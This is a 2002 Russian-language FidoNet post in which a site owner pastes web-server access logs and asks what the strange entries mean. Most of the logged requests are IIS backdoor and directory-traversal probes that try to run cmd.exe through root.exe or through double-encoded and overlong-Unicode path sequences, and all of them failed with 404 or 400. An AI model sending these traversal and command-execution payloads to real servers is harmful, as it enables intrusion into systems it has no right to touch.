ru.unix
- RU.UNIX ----------------------------------------------------------------------
From : Dmirty Proselkov 2:5025/37.160 06 Jun 2002 09:40:40
To : All
Subject : Что-то странное в логах http
--------------------------------------------------------------------------------
недавно открыл доступ к сайту общаги из инета и периодически в логи акссес
сыплется вот такое:
=== Cut ===
193.194.78.12 - - [04/Jun/2002:06:04:29 +0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 210
193.194.78.12 - - [04/Jun/2002:06:04:33 +0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 208
193.115.191.21 - - [04/Jun/2002:06:34:35 +0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 210
193.115.191.21 - - [04/Jun/2002:06:34:37 +0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 208
193.115.191.21 - - [04/Jun/2002:06:34:38 +0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
193.115.191.21 - - [04/Jun/2002:06:34:40 +0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
192.168.2.16 - - [04/Jun/2002:06:34:46 +0400] "GET
/price/www.tstyle.ru/upload/price.zip HTTP/1.1" 200 118975
193.115.191.21 - - [04/Jun/2002:06:35:23 +0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/syste
m32/cmd.exe?/c+dir HTTP/1.0" 404 265
192.168.2.16 - - [04/Jun/2002:06:35:23 +0400] "GET
/price/www.tstyle.ru/upload/price.zip HTTP/1.1" 206 30864
193.115.191.21 - - [04/Jun/2002:06:35:38 +0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
193.115.191.21 - - [04/Jun/2002:06:35:41 +0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 249
193.115.191.21 - - [04/Jun/2002:06:35:43 +0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 249
193.115.191.21 - - [04/Jun/2002:06:36:41 +0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.115.191.21 - - [04/Jun/2002:06:36:42 +0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.115.191.21 - - [04/Jun/2002:06:36:44 +0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.115.191.21 - - [04/Jun/2002:06:36:46 +0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.115.191.21 - - [04/Jun/2002:06:37:44 +0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
193.115.191.21 - - [04/Jun/2002:06:37:45 +0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
193.115.191.21 - - [04/Jun/2002:06:37:47 +0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
193.115.191.21 - - [04/Jun/2002:06:37:49 +0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
193.136.115.3 - - [04/Jun/2002:13:22:48 +0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 208
193.136.115.3 - - [04/Jun/2002:13:22:50 +0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
193.136.115.3 - - [04/Jun/2002:13:23:14 +0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
193.136.115.3 - - [04/Jun/2002:13:23:50 +0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
193.136.115.3 - - [04/Jun/2002:13:23:58 +0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 249
193.136.115.3 - - [04/Jun/2002:13:24:00 +0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 249
193.136.115.3 - - [04/Jun/2002:13:24:17 +0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/syste
m32/cmd.exe?/c+dir HTTP/1.0" 404 265
193.136.115.3 - - [04/Jun/2002:13:24:53 +0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.136.115.3 - - [04/Jun/2002:13:25:01 +0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.136.115.3 - - [04/Jun/2002:13:25:03 +0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.136.115.3 - - [04/Jun/2002:13:25:20 +0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
193.136.115.3 - - [04/Jun/2002:13:25:56 +0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
193.136.115.3 - - [04/Jun/2002:13:26:04 +0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
=== Cut ===
К чему бы это?
Dmirty
--- GoldED/LNX 3.0.1-asa10 beta 2
* Origin: (2:5025/37.160)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
